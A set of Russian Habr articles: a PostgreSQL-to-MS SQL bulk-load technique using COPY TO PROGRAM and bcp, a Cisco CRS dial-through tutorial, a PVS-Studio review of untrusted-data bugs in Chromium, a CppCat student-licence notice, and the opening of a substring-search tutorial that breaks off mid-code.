Вторая проблема в том, что в обычную временную таблицу bcp записать не может. Он ее просто не увидит. Значит нужно использовать постоянную таблицу или глобальную временную.
Давать права пользователю, кредентиалы которого открытым текстом видны в SQL запросе, на таблицы своей БД совершенно не хочется. Тем более на запись. Поэтому остается только вариант с глобальной временной таблицей.
В связи с тем, что процессы на сервере могут запускаться асинхронно и одновременно, использовать фиксированное имя глобальной временной таблицы опасно. Но тут нас опять спасает динамический SQL.
Итоговое решение следующее:
```
DECLARE
@sql_str nvarchar(max),
@proxy_account sysname='proxy_account',
@proxy_password sysname='111111'
SELECT @sql_str='
DROP TABLE IF EXISTS ##proxy_table_'+CONVERT(nvarchar(max),@@SPID)+'
CREATE TABLE ##proxy_table_'+CONVERT(nvarchar(max),@@SPID)+' (
N int,
T datetime,
S varchar(256)
)'
EXEC (@sql_str)
SELECT @sql_str='
COPY (
SELECT N, T, md5((R*100000*random())::text) S
FROM generate_series(1,1000,1) N
CROSS JOIN generate_series($$2020-01-01$$::timestamp,
$$2020-12-31$$::timestamp, $$1 day$$::interval) T
CROSS JOIN generate_series(1,100,1) R )
TO PROGRAM $pgm$ tmp_file=$'+'(mktemp /tmp/pgsql_bcp_to_mssql.XXXXXXXXX); '
+'cat > $tmp_file; /opt/mssql-tools/bin/bcp ''##proxy_table_'''
+CONVERT(nvarchar(max),@@SPID)+' '
+'in $tmp_file -S '+REPLACE(@@SERVERNAME,'\','\\')
+' -U '+@proxy_account+' -P '''
+@proxy_password+''' -c -b 10000000 -a 65535; '
+'rm $tmp_file $pgm$ NULL $nil$$nil$;'
EXEC (@sql_str) AT LINKED_SERVER_TO_POSTGRES
```
Пояснения
---------
В PostgreSQL команда COPY может писать в файл или на стандартный ввод вызываемой ей программы. В данном случае вместо программы использован скрипт на sh. Вывод COPY, поступающий на стандартный ввод, записывается во временный файл с уникальным именем, формируемым mktemp. К сожалению, bcp не умеет читать данные со стандартного ввода, поэтому приходится ему создавать файл.
Для совместимости формата, формируемого командой COPY и формата, ожидаемого bcp, обязательно следует указывать в COPY параметр NULL $nil$$nil$
Остальные параметры bcp:
* -c - символьный формат, так как бинарный формат PostgreSQL не совместим с бинарным форматом MS SQL и мы вынуждены использовать только символьный;
* -b - количество записей, вставляемых одной транзакцией. В моей конфигурации десять миллионов оказалось оптимальным значением. В иной конфигурации это число, скорее, может потребоваться уменьшить, чем увеличить;
* -a - размер пакета. В нашем случае лучше указывать сразу максимальный. Если сервер не поддерживает указанную длину пакета, то просто будет использована максимальная длина пакета, поддерживаемая сервером.
Если кто-то знает более быстрый способ получения данных на MS SQL из PostgreSQL - буду очень рад увидеть описание этого способа в комментариях.
Сравнение с SSIS
----------------
DTSX
```
xml version="1.0"?
8
0
[dbo].[Query3]
1251
false
3
false
false
TABLOCK,CHECK\_CONSTRAINTS
2147483647
SELECT N, T, md5((R\*100000\*random())::text) S
FROM generate\_series(1,1000,1) N
CROSS JOIN generate\_series($$2020-01-01$$::timestamp,
$$2020-12-31$$::timestamp, $$1 day$$::interval) T
CROSS JOIN generate\_series(1,100,1) R
0
true
2
Microsoft.DataReaderSourceAdapter
```
`Started: 22:52:26
Finished: 23:11:25
Elapsed: 1138.16 seconds`
Итого в 8.5 раз медленней, чем через ramfs/tmpfs и BCP. | https://habr.com/ru/post/553472/ | null | ru | null |
# Customer Response Solutions: донабор номера
На работе появилась задача реализовать дозвон на внутренние номера организации. В качестве IP АТС у нас используется Cisco CallManager 4.2, а для колл-центра используется Customer Response Solutions 4.0 (IPCC). Для написания скрипта использовался Cisco Customer Response Solutions Editor, который поставляется вместе с CRS. За основу взят скрипт из пакета поставки редактора — aa.aef.
На данный момент скрипт уж очень простой и не содержит никаких голосовых приветствий, обработки различных событий (вроде сигнала «занято», неверно набранного номера). В дальнейшем я планирую его усовершенствовать до полноценного скрипта с приветствиями, запросами и всеми возможными проверками «на дурака». Сейчас опишу подробно, как сделать донабор номера.
##### Написание скрипта
Запускаем редактор и создаем новый скрипт.
Создадим две переменные: одна для хранения номера, другая — для запроса. Запрос у будет пустым, т.к. диалог требует присутствия этого параметра в настройках.
Теперь нужно добавить обработчики событий для входящего звонка. Вот такой получился скрипт:
По порядку пройдемся по основным элементам. Первый оператор **Start** по-умолчанию присутствует во всех скриптах и означает начало. Два последующих принимают вызов. Следующая функция **Get Digit String** позволяет получить от абонента набираемые цифры. Ее нужно настроить. После того, как вытащили ее с панели объектов в тело скрипта, нажмите на ней правой кнопкой мыши и выберите **Properties**. На первой вкладке **General** в списке **Result Digit String** выбираем переменную **intNum**. Далее на вкладке **Prompt** в списке **Prompt** выбираем переменную **prompt**. На вкладке **Input** вы можете настроить параметры получения цифр от абонента. Я оставил все по-умолчанию. И наконец, на вкладке **Filter** нужно задать количество цифр, которое будет ожидаться от абонента. Я выставил число 4 в поле **Input Length**, так как у меня четырехзначный внутренний номерной план.
Так как пока учитываем, что пользователь все ввел верно, добавляем функцию **Call Redirect** в условие **Successful**. Эта функция будет переадресовывать звонок на номер, который ввел абонент. Ее так же надо настроить. В свойствах **Call Redirect** в поле **Destination** выберите переменную **intNum**.
Добавляем в условие **Successful** функции **Call Redirect** функцию **Set Contact Info**. Нажимаем на ней ПКМ и в табличке **Attributes** напротив параметра **Handled** выбираем **— Marked --**. После добавляем оператор **End**. Это отметит звонок абонента как «обработанный» и завершит сессию.
В конце скрипта добавляем **Terminate** и **End**. На этом скрипт закончен. Сохраняем его на диске, после чего мы его зальем на сервер CRS.
##### Настройка CRS
Открываем админку CRS, выбираем пункт **Script Management**.
Перед нами список скриптов присутствующих в системе. Нужно добавить свой, только что созданный. Нажимайте на ссылку **Upload New Scripts**.
Выбирайте сохраненный скрипт и нажимайте кнопку **Upload**. Теперь, когда скрипт залит, нужно создать приложение. Приложение в CRS определяет скрипт, используемый JTAPI для обработки вызовов, а также задает начальные параметры для скрипта, если такие имеются.
Выбираем пункт **Application Management**.
Видим список имеющихся приложений в системе:
Нажимаем **Add a New Application**. В окошке появившемся в списке выбирайте **Cisco Script Application**.
Называем приложение как больше нравится. Я назвал его CityToInternal. **Description** — напишите что-то, что позволит вам в будущем вспомнить, зачем это приложение. **ID** — задается системой автоматически, но вы можете его поменять например на 666, если такое уже не занято другим приложением. **Maximum number of sessions** — максимальное количество звонков одновременно обрабатываемых приложением. **Script** — выбираем скрипт, в моем случае CTI.aef. Нажимаем **Update**.
Теперь нужно создать **Media Termination Dialog Group**. Медиа группы нужны для взаимодействия с абонентами, а именно для обработки DTMF тонов.
Выбираем пункт **Cisco media**.
Получаем список групп. Нажимаем **Add a New CMT Dialog Control Group**.
На появившейся странице задаем поля **Description** (что-нибудь, чтобы идентифицировать группу) и **Maximum Number Of Channels** (в моем случае 10). На самом деле под все приложения можно создать одну группу на 100 каналов, например. Но я предпочел разделить их.
Нажимаем **Add** и группа добавлена (на моем скриншоте Update, т.к. я скринил уже созданную группу).
Теперь выбираем пункт **JTAPI** и слева нажимаем на **JTAPI Call Control Group**. Нужно создать группу контроля вызова. Эта группа создаст необходимое количество CTI портов, на которые будет переадресовывать вызов абонента и уже с него активироваться приложение и наш скрипт.
Нажимаем **Add a New JTAPI Call Control Group**.
Заполняем поля. **Group ID** — заполняется системой автоматически, но вы опять же можете поставить что угодно, кроме уже используемых. **Description** — описание группы, поставьте что-то узнаваемое. Часто поля Description используются для отображения элементов в списках настроек, вместо ID. **Number of CTI ports** — я установил 10, это количество CTI портов, которое будет создано. **Starting directory number** — для этой группы потребуется 10 номеров и тут нужно указать номер первого порта (в моем случае 9980). Эти номера не должны быть назначены абонентам или Hunt-группам. **Device name prefix** — префикс для именование CTI портов. **Device pool** — выбрал Default. **Media resource group list** — выберите свой основной MRGL. **Display** — описание CTI портов, фактически то, что будет отображаться рядом с номером на экране телефона (Alerting name), когда CTI будет вам звонить. Жмем **Add**.
Теперь нужно создать триггер. Триггер — это некий номер, который абонент будет набирать, чтобы получить доступ к нашему приложению. Тот же пункт **JTAPI**, выбираем слева **JTAPI Triggers**. Видим список триггеров в системе.
Нажимаем **Add a New JTAPI Trigger**.
**Directory number** — номер, на котором будет активироваться наше приложение. Уточню, у меня указан 7-значный городской номер. Эти номера попадают на CCM с роутера, на который приходит PRI-поток, посредством dial-peer voip. В вашем случае, это может быть все что угодно — внутренний или любой другой номер, который попадает на CCM. **Application name** — выбираем приложение (в моем случае CityToInternal). **Maximum number of sessions** — максимальное количество сессий, ставим 10. **Call control group** — группа контроля вызова (JTAPI Call control group). **Primary dialog group** — медиа группа (Media Termination Dialog Group). **Device Name** и **Description** — задаются автоматически на основе Prefix(DN) + Directory Number, но вы можете их изменить под себя. Нажимаем **Add** и все готово.
##### Конфигурация роутера
Dial-peer на моем voice-gateway выглядит следующим образом:
`dial-peer voice 254 voip
description === 1234567 ===
destination-pattern 1234567
session target ipv4:1.2.3.4
dtmf-relay h245-signal h245-alphanumeric
codec g711ulaw`
1.2.3.4 — IP-адресс Cisco CallManager.
Теперь можно проверить работу приложения, позвонив на номер указанный в JTAPI триггере.
На этом пока все. Надеюсь моя статья сможет вам пригодиться. | https://habr.com/ru/post/126407/ | null | ru | null |
# Chromium: использование недостоверных данных
Предлагаем вашему вниманию цикл статей, посвященных рекомендациям по написанию качественного кода на примере ошибок, найденных в проекте Chromium. Это пятая часть, которая будет посвящена ошибкам использования непроверенных или неправильно проверенных данных. Очень большое количество уязвимостей существуют благодаря как раз использованию непроверенных данных, что делает данную тему интересной и актуальной.
На самом деле, причиной уязвимости может стать ошибка почти любого типа, даже обыкновенная опечатка. Собственно, если найденная ошибка классифицируется согласно [Common Weakness Enumeration](https://cwe.mitre.org/), то значит она является потенциальной уязвимостью.
Анализатор PVS-Studio, начиная с версии 6.21, научился классифицировать найденные ошибки согласно Common Weakness Enumeration и назначать им соответствующий CWE ID.
Возможно читатели уже обратили внимание, что в предыдущих статьях помимо номера предупреждения Vxxx я приводил ещё и CWE ID. Это значит, что рассмотренные ранее ошибки теоретически могут стать причиной уязвимости. Вероятность этого невелика, но она есть. Что интересно, нам удалось сопоставить тот или иной CWE ID почти с каждым предупреждением, выдаваемым PVS-Studio. Это значит, что сами того не планируя, мы создали анализатор, который способен выявлять большое количество weaknesses :).
**Вывод.** Анализатор PVS-Studio помогает заранее предотвращать многие виды уязвимостей. Публикация на эту тему: "[Как PVS-Studio может помочь в поиске уязвимостей?](https://www.viva64.com/ru/b/0514/)".
В этой статье я собрал ошибки, которые потенциально могут привести к проблемам с безопасностью. Предупреждаю, что выбор ошибок весьма условен и субъективен. Вполне может оказаться, что какая-то уязвимость маскируется под ошибку, которую я обозвал банальной опечаткой в одной из предыдущих статей.
Итак, давайте рассмотрим, какие дефекты безопасности я заметил в процессе разбора отчета, выданного PVS-Studio для проекта Chromium. Как я писал в [вводной статье](https://habrahabr.ru/company/pvs-studio/blog/347536/), отчёт я смотрел достаточно бегло, поэтому могут быть и другие, незамеченные мной ошибки. Задача статьи в общих чертах показать, как какие-то ошибки могут приводить к тому, что программа начинает обрабатывать некорректные или непроверенные данные. Я пока не определился, как лучше называть такие данные, и пока буду использовать термин «недостоверные данные».
Примеры ошибок
--------------
Проект Chromium.
```
InstallUtil::ConditionalDeleteResult
InstallUtil::DeleteRegistryValueIf(....) {
....
ConditionalDeleteResult delete_result = NOT_FOUND;
....
if (....) {
LONG result = key.DeleteValue(value_name);
if (result != ERROR_SUCCESS) {
....
delete_result = DELETE_FAILED;
}
delete_result = DELETED;
}
return delete_result;
}
```
Предупреждение PVS-Studio: [V519](https://www.viva64.com/ru/w/v519/) CWE-563 The 'delete\_result' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 381, 383. install\_util.cc 383
Функция возвращает некорректный статус. В результате, другие части программы будут считать, что функция успешно удалила некое значение. Ошибка в том, что статус *DELETE\_FAILED* всегда заменяется на статус *DELETED*.
Ошибку можно исправить, добавив ключевое слово *else*:
```
if (result != ERROR_SUCCESS) {
....
delete_result = DELETE_FAILED;
} else {
delete_result = DELETED;
}
```
Пожалуй, рассмотренная ошибка не очень хорошо отражает суть недостоверных данных. В этой функции происходит создание ложных данных, а не их проверка или использование. Поэтому давайте рассмотрим другую, более подходящую ошибку.
Библиотека PDFium (используется в Chromium).
```
CPVT_WordRange Intersect(const CPVT_WordRange& that) const {
if (that.EndPos < BeginPos || that.BeginPos > EndPos ||
EndPos < that.BeginPos || BeginPos > that.EndPos) {
return CPVT_WordRange();
}
return CPVT_WordRange(std::max(BeginPos, that.BeginPos),
std::min(EndPos, that.EndPos));
}
```
Предупреждения PVS-Studio:
* [V501](https://www.viva64.com/ru/w/v501/) CWE-570 There are identical sub-expressions 'that.BeginPos > EndPos' to the left and to the right of the '||' operator. cpvt\_wordrange.h 46
* V501 CWE-570 There are identical sub-expressions 'that.EndPos < BeginPos' to the left and to the right of the '||' operator. cpvt\_wordrange.h 46
Условие написано неправильно. Чтобы легче было заметить ошибку, сократим условие:
```
if (E2 < B1 || B2 > E1 || E1 < B2 || B1 > E2)
```
Обратите внимание, что *(E2 < B1)* и *(B1 > E2)*, это одно и то же. Аналогично *(B2 > E1),* это то же самое, что и *(E1 < B2)*.
Получается, что выполняются не все необходимые проверки, и далее может быть сгенерирован некорректный диапазон, который, в свою очередь, повлияет на функционирование программы.
Теперь давайте рассмотрим большой и сложный фрагмент кода из библиотеки регулярных выражений RE2 (используется в Chromium). Если честно, я даже не понимаю, что здесь происходит, но в коде точно есть аномальная проверка.
Вначале следует показать, как объявлены некоторые типы. Если этого не сделать, то код будет не очень понятен.
```
typedef signed int Rune;
enum
{
UTFmax = 4,
Runesync = 0x80,
Runeself = 0x80,
Runeerror = 0xFFFD,
Runemax = 0x10FFFF,
};
```
А теперь функция с аномалией.
```
char*
utfrune(const char *s, Rune c)
{
long c1;
Rune r;
int n;
if(c < Runesync) /* not part of utf sequence */
return strchr((char*)s, c);
for(;;) {
c1 = *(unsigned char*)s;
if(c1 < Runeself) { /* one byte rune */
if(c1 == 0)
return 0;
if(c1 == c) // <=
return (char*)s;
s++;
continue;
}
n = chartorune(&r, s);
if(r == c)
return (char*)s;
s += n;
}
return 0;
}
```
Анализатор PVS-Studio выдаёт предупреждение на строчку, которую я отметил комментарием "// <=". Сообщение: [V547](https://www.viva64.com/ru/w/v547/) CWE-570 Expression 'c1 == c' is always false. rune.cc 247
Давайте попробуем разобраться, почему условие всегда ложно. Вначале обратите внимание на эти строки:
```
if(c < Runesync)
return strchr((char*)s, c);
```
Если переменная *c < 0x80*, то функция прекратит свою работу. Если функция не завершит свою работу, а продолжит её, то можно точно сказать, что переменная *c >= 0x80*.
Теперь смотрим на условие:
```
if(c1 < Runeself)
```
Условие *(c1 == c)*, отмеченное комментарием "// <=", выполняется только в том случае, если *c1 < 0x80*.
Итак, вот что мы знаем про значения переменных:
* c >= 0x80
* c1 < 0x80
Отсюда следует, что условие *c1 == c* всегда ложно. А ведь это очень подозрительно. Получается, что функция *utfrune* в библиотеке регулярных выражений работает не так, как запланировано. Последствия такой ошибки непредсказуемы.
Видеокодек LibVPX (используется в Chromium).
```
#define VP9_LEVELS 14
extern const Vp9LevelSpec vp9_level_defs[VP9_LEVELS];
typedef enum {
....
LEVEL_MAX = 255
} VP9_LEVEL;
static INLINE int log_tile_cols_from_picsize_level(
uint32_t width, uint32_t height)
{
int i;
const uint32_t pic_size = width * height;
const uint32_t pic_breadth = VPXMAX(width, height);
for (i = LEVEL_1; i < LEVEL_MAX; ++i) {
if (vp9_level_defs[i].max_luma_picture_size >= pic_size &&
vp9_level_defs[i].max_luma_picture_breadth >= pic_breadth)
{
return get_msb(vp9_level_defs[i].max_col_tiles);
}
}
return INT_MAX;
}
```
Предупреждения PVS-Studio:
* [V557](http://v557) CWE-119 Array overrun is possible. The value of 'i' index could reach 254. vp9\_encoder.h 931
* V557 CWE-119 Array overrun is possible. The value of 'i' index could reach 254. vp9\_encoder.h 932
* V557 CWE-119 Array overrun is possible. The value of 'i' index could reach 254. vp9\_encoder.h 933
Массив *vp9\_level\_defs* состоит из 14 элементов. В цикле переменная *i*, используемая в качестве индекса массива, изменяется от 0 до 254. Итог: происходит выход за границу массива.
Хорошо, если этот код приведёт к [Access Violation](https://www.viva64.com/ru/t/0063/). Но на практике, скорее всего, начнут обрабатываться какие-то случайные данные, расположенные после массива *vp9\_level\_defs*.
Другая схожая ошибка использования данных за пределами массива встретилась мне в библиотеке SQLite (используется в Chromium).
Вначале обратите внимание, что массив *yy\_shift\_ofst* содержит в себе 455 элементов.
```
static const short yy_shift_ofst[] = {
/* 0 */ 355, 888, 1021, 909, 1063, 1063, 1063, 1063, 20, -19,
....
/* 450 */ 1440, 1443, 1538, 1542, 1562,
}
```
Также интерес для нас представляют два макроса:
```
#define YY_SHIFT_COUNT (454)
#define YY_MIN_REDUCE 993
```
Макрос *YY\_SHIFT\_COUNT* определяет максимальный индекс, который можно использовать для доступа к элементам массива *yy\_shift\_ofst*. Он равен не 455, а 454, так как нумерация элементов идёт с 0.
Макрос *YY\_MIN\_REDUCE*, равный 993, никакого отношения к размеру массива *yy\_shift\_ofst* не имеет.
Функция, содержащая слабую проверку:
```
static unsigned int yy_find_shift_action(....)
{
int i;
int stateno = pParser->yytos->stateno;
if( stateno>=YY_MIN_REDUCE ) return stateno; // <=
assert( stateno <= YY_SHIFT_COUNT );
do {
i = yy_shift_ofst[stateno]; // <=
....
}
```
Предупреждение PVS-Studio: V557 CWE-125 Array overrun is possible. The value of 'stateno' index could reach 992. sqlite3.c 138802
В функции сделана защита, что индекс при доступе к массиву не должен быть больше определённого значения. Из-за опечатки, или по другой причине, используется не та константа. Следовало использовать константу равную 454, а вместо этого значение индекса сравнивается с 993.
В результате, возможен доступ за границу массива и чтение произвольных недостоверных данных.
Примечание. Ниже есть правильный *assert*, но он не поможет в Release-версии.
Скорее всего, проверку надо переписать так:
```
if (stateno > YY_SHIFT_COUNT)
{
assert(false);
return stateno;
}
```
Проект ICU (используется в Chromium).
```
UVector*
ZoneMeta::createMetazoneMappings(const UnicodeString &tzid) {
UVector *mzMappings = NULL;
....
if (U_SUCCESS(status)) {
....
if (U_SUCCESS(status)) {
....
while (ures_hasNext(rb)) {
....
if (mzMappings == NULL) {
mzMappings = new UVector(
deleteOlsonToMetaMappingEntry, NULL, status);
if (U_FAILURE(status)) {
delete mzMappings;
uprv_free(entry);
break;
}
}
....
}
....
}
}
ures_close(rb);
return mzMappings;
}
```
Предупреждение PVS-Studio: [V774](https://www.viva64.com/ru/w/v774/) CWE-416 The 'mzMappings' pointer was used after the memory was released. zonemeta.cpp 713
Код сложный, я затрудняюсь точно сказать, есть здесь настоящая ошибка или нет. Однако, насколько я понял, возможна ситуация, когда функция вернёт указатель на уже освобождённый блок памяти. Правильный обработчик некорректного статуса должен обнулять указатель:
```
if (U_FAILURE(status)) {
delete mzMappings;
mzMappings = nullptr;
uprv_free(entry);
break;
}
```
Сейчас же получается, что функция вернула указатель на освобождённый участок памяти. В этой памяти может быть всё что угодно и использование этого невалидного указателя приведёт к неопределённому поведению программы.
В следующей функции проекта Chromium неправильно реализована защита от отрицательных значений.
```
void AXPlatformNodeWin::HandleSpecialTextOffset(LONG* offset) {
if (*offset == IA2_TEXT_OFFSET_LENGTH) {
*offset = static_cast(GetText().length());
} else if (\*offset == IA2\_TEXT\_OFFSET\_CARET) {
int selection\_start, selection\_end;
GetSelectionOffsets(&selection\_start, &selection\_end);
if (selection\_end < 0)
\*offset = 0;
\*offset = static\_cast(selection\_end);
}
}
```
Предупреждение PVS-Studio: V519 CWE-563 The '\* offset' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 3543, 3544. ax\_platform\_node\_win.cc 3544
Если значение переменной *selection\_end* отрицательное, то функция должна вернуть *0*. Однако из-за опечатки *0* записывается не туда, куда нужно. Правильный код должен быть таким:
```
if (selection_end < 0)
selection_end = 0;
*offset = static_cast(selection\_end);
```
Из-за этой ошибки функция может вернуть отрицательное число, хотя не должна. Это отрицательное число, которое может «просочиться» сквозь проверку, и есть недостоверные данные.
Другие ошибки
-------------
Если честно, мне не очень нравятся примеры, которые я привёл в предыдущем разделе статьи. Их мало, и они не очень хорошо отражают суть ошибок использования недостоверных данных. Думаю, со временем я сделаю отдельную статью, где покажу более яркие примеры ошибок, собрав их из разных открытых проектов.
Кстати, в статью можно было включить больше примеров ошибок, но я их уже «потратил» при написании предыдущих статей, а повторяться не хочется. Например, в статье «Chromium: опечатки», был вот такой фрагмент:
```
if(!posX->hasDirtyContents() ||
!posY->hasDirtyContents() ||
!posZ->hasDirtyContents() ||
!negX->hasDirtyContents() ||
!negY->hasDirtyContents() || // <=
!negY->hasDirtyContents()) // <=
```
Из-за этой опечатки не проверяется объект, на который ссылается указатель *negZ*. В результате программа будет работать с недостоверными данными.
Также в этой статье я не стал рассматривать ситуации, когда недостоверные (испорченные) данные возникают из-за отсутствия проверки указателя, который возвращает функция *malloc*. Если функция *malloc* вернула *NULL,* это вовсе не значит, что возможна только ошибка разыменования нулевого указателя. Существуют и более коварные ситуации. Схематично они выглядят так:
```
int *ptr = (int *)malloc(100 * sizeof(int));
ptr[1234567] = 42;
```
Здесь не будет разыменования нулевого указателя. Здесь произойдёт запись данных непонятно куда и разрушение каких-то данных.
Это интересная история и я посвящу ей следующую отдельную статью.
Рекомендации
------------
К возникновению и использованию недостоверных (непроверенных, испорченных) данных приводят разнообразнейшие ошибки. Какого-то универсального совета здесь быть не может. Можно, конечно, написать: не делайте в коде ошибок! Но проку от такого совета нет :).
Так зачем тогда я вообще писал эту статью и выделил этот тип ошибок?
Чтобы вы знали о них. Знание о существовании какой-то проблемы уже само по себе помогает предотвратить её. Если кто-то не знает о какой-то проблеме, не значит, что её нет. Хорошей иллюстрацией будет вот эта картинка:
Что же можно всё-таки посоветовать:
1. Обновляйте используемые в вашем проекте библиотеки. В новых версиях могут быть исправлены различные ошибки, которые представляют собой уязвимости. Впрочем, надо признать, что уязвимость может появиться как раз в новой версии, а в старой отсутствовать. Но все равно, более хорошим решением будет обновлять библиотеки. Про старые уязвимости знает больше людей, чем про новые.
2. Тщательно проверяйте все входные данные, особенно поступающие откуда-то извне. Например, очень тщательно должны проверяться все данные, поступающие откуда-то по сети.
3. Используйте различные инструменты проверки кода. Например, проекту Chromium явно не хватает использования статического анализатора PVS-Studio :).
4. Объясняйте коллегам, что "[простая ошибка при кодировании — не значит нестрашная ошибка](https://www.viva64.com/ru/b/0499/)". Если ваша команда разрабатывает ответственные приложения, то вы должны максимально сосредоточиться на качестве кода и уничтожать все, даже безобидные на вид ошибки.
Примечание про PVS-Studio
-------------------------
Как я уже сказал, анализатор PVS-Studio уже помогает предотвратить появление уязвимости, обнаруживая ошибки ещё на этапе написания кода. Но мы хотим большего и вскоре серьезно усовершенствуем PVS-Studio, введя в Data Flow анализ понятие «использование непроверенных данных».
Мы даже уже зарезервировали специальный номер для этой важной диагностики: V1010. Диагностика позволит выявлять ошибки, когда данные были получены из ненадёжного источника (например, присланы по сети) и используются без должной проверки. Отсутствие всех необходимых проверок входных данных часто является причиной обнаружения уязвимости в приложениях. Подробнее про это мы недавно писали в статье "[PVS-Studio 2018: CWE, Java, RPG, macOS, Keil, IAR, MISRA](https://www.viva64.com/ru/b/0547/)" (см. раздел «Потенциальные уязвимости, CWE»).
Новая диагностика позволит существенно усилить анализатор в выявлении потенциальных уязвимостей. Скорее всего, диагностика V1010 будет соответствовать идентификатору [CWE-20](https://cwe.mitre.org/data/definitions/20.html) (Improper Input Validation).
Заключение
----------
Предлагаю вам и вашим коллегам почитать на нашем сайте статью "[42 рекомендации](https://www.viva64.com/ru/b/0391/)". После неё программист не превратится в эксперта по безопасности, но узнает много нового и полезного. Особенно эти статьи будут полезны разработчикам, только недавно освоившим язык C или C++ и не подозревающим насколько глубока кроличья нора, в которую они попали.
Я планирую обновить «42 совета» и превратить их в «50 советов». Поэтому приглашаю подписываться на мой твиттер [@Code\_Analysis](https://twitter.com/Code_Analysis) и наш [RSS](http://feeds.feedburner.com/viva64-blog-ru) канал, чтобы не пропустить эту и другие интересные статьи в нашем блоге.
[](https://www.viva64.com/en/b/0557/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [Chromium: Use of Untrusted Data](https://www.viva64.com/en/b/0557/). | https://habr.com/ru/post/347938/ | null | ru | null |
# Бесплатный CppCat для студентов
CppCat – это статический анализатор кода, интегрирующийся в среду Visual Studio 2010-2013. Анализатор предназначен для регулярного использования и позволяет выявить множество ошибок и опечаток в программах на языке Си и Си++. С целью его популяризации мы решили выдавать бесплатные лицензии всем студентам, которые к нам обратятся. Достаточно прислать фотографию студенческого билета или зачётной книжки.
Пара слов о статическом анализе кода
------------------------------------
Инструменты статического анализа кода обращают внимание программиста на те места, которые с высокой вероятностью содержат ошибку. Простой пример:
```
double var_z;
....
var_z = ( var_z - 16 / 116 ) / 7.787;
```
С точки зрения языка программирования и компилятора это корректный код. Вполне обычна ситуация, когда при делении целочисленного числа 16 на целочисленное число 116 мы получим 0. Такое бывает нужно. Однако, анализатор смотрит более широко и обнаруживает ошибочный паттерн. Если результат такого целочисленного деления потом используется совместно с типом double, то это подозрительно.
Анализатор укажет на это подозрительное деление предупреждением: V636 The '16 / 116' expression was implicitly casted from 'int' type to 'double' type. Consider utilizing an explicit type cast to avoid the loss of a fractional part. An example: double A = (double)(X) / Y;. color.c 125
Скорее всего, следовало написать так:
```
var_z = ( var_z - 16.0 / 116.0 ) / 7.787;
```
Теперь значение дроби равно не 0, а 0,137931.
Можно рассматривать инструменты статического анализа как расширение диагностик компилятора. В отличие от компилятора, анализаторы работают с более высокоуровневыми конструкциями и, опираясь на эмпирику, пытаются угадать, работает ли код так как задумывал программист или нет.
Немного об анализаторе CppCat
-----------------------------
[CppCat](http://www.cppcat.com) – простой в настройке и использовании статический анализатор кода. Он отлично подходит на роль первого инструмента при знакомстве с инструментами статического анализа. Он уступает по функциональным возможностям своему старшему брату PVS-Studio (см. [сравнение](http://www.viva64.com/ru/b/0258/)). Но для большинства задач его более чем достаточно. В любом случае, функциональности CppCat полностью достаточно для студентов и индивидуальных разработчиков.
Анализатор интегрируется с Visual Studio 2010, 2012, 2013. К сожалению, CppCat не встраивается в Express editions. С этим ничего нельзя поделать. Visual Studio Express editions не поддерживают модули расширения (плагины).
Анализатор поддерживает: C, C++, C/CLI, C/CX.
Важной особенностью является возможность автоматического анализа изменённого кода. После компиляции изменённых файлов CppCat в фоновом режиме запускает анализ и выдаёт предупреждение, если нашёл что-то подозрительное. Это позволяет обнаружить ошибки на самом раннем этапе и тем самым сэкономить время на её поиск и исправление.
Скачать CppCat можно с сайта продукта: <http://www.cppcat.com>.
Как получить лицензию на CppCat
-------------------------------
Используя CppCat, вы приобретете навыки работы с инструментами статического анализа и повысите свою квалификацию. Статические анализаторы всё больше набирают популярность, и будет полезно указать в резюме, что вы знакомы с этими инструментами.
Чтобы получить лицензию, нужно отправить нам на почтовый ящик [team@cppcat.com](mailto:team@cppcat.com) фотографию или скан студенческого билета, зачетной книжки или иного документа, подтверждающего, что вы – студент.
Просьба в письме указывать своё имя, фамилию и название института, так как разобрать их на фотографии может быть сложно. Эти данные будут использоваться для генерации ключа.
Лицензия действует 1 год. Если в следующем году вы захотите продолжить пользоваться CppCat, то должны будете вновь прислать фотографию студенческого билета.
Если вы хотите поделиться с иностранными друзьями информацией о бесплатной лицензии, то можете отравить им ссылку на англоязычный вариант статьи: [Free CppCat for Students](http://www.viva64.com/en/b/0290/).
| |
| --- |
| К сожалению, мы больше не развиваем и не поддерживаем проект CppCat. Вы можете почитать [здесь](http://habrahabr.ru/company/pvs-studio/blog/256637/) о причинах. Зато мы предоставляем возможность бесплатного использования анализатора PVS-Studio студентам в учебных целях, индивидуальным разработчикам и коллективам энтузиастов: "[Как использовать PVS-Studio бесплатно](http://www.viva64.com/ru/b/0457/)". | | https://habr.com/ru/post/243149/ | null | ru | null |
# Найти подстроку в строке
**Алгоритм поиска строки Бойера — Мура** — алгоритм общего назначения, предназначенный для поиска подстроки в строке.
Давайте попробуем найти вхождение подстроки в строку.
Наш исходный текст будет:
```
Text: somestring
```
И паттерн, который мы будем искать
```
Pattern: string
```
Давайте расставим индексы в нашем тексте, чтобы видеть на каком индексе находится какая буква.
```
0 1 2 3 4 5 6 7 8 9
s o m e s t r i n g
```
Напишем метод, который определяет, находится ли шаблон в строке. Метод будет возвращать индекс откуда шаблон входит в строку.
```
int find (string text, string pattern){}
```
В нашем примере должно будет вернуться 4.
```
0 1 2 3 4 5 6 7 8 9
text: s o m e s t r i n g
pattern: s t r i n g
```
Если ответ не найден, мы будем возвращать **-1**
```
int find (string text, string pattern) {
int t = 0; создадим индекс для прохода по тексту.
int last = pattern.length — 1; это индекс последнего элемента в шаблоне
```
Создадим цикл для прохода по тексту.
```
while (t < text.length — last)
```
Почему именно такое условие? Потому что если останется символов меньше чем длина нашего паттерна, нам уже нет смысла проверять дальше. Наш паттерн точно не входит в строку.
В нашем примере:
**last = 5** (Последний индекс паттерна **string** равен 5)
Длина текста равна 10 (**somestring**)
Это значит что **text.length — last = 10–5 = 5;**
```
0 1 2 3 4 5 6 7 8 9
text: s o m e s t r i n g
pattern: s t r i n g
```
Можно заметить, что если мы стоим на 5м индексе в строке, а 4й не подошел, то наш паттерн не входит в строку, например
```
0 1 2 3 4 5 6 7 8 9
text: s o m e X t r i n g
^
pattern: s t r i n g
```
***Получится что длина паттерна, больше чем длина оставшейся строки.***
На данный момент у нас есть код вида :
```
int find (string text, string pattern) {
int t = 0;
int last = pattern.length — 1;
while (t < text.length — last){
}
}
```
Теперь***введем переменную int p = 0***, которая будет двигаться по нашему паттерну.
И запустим внутренний цикл
```
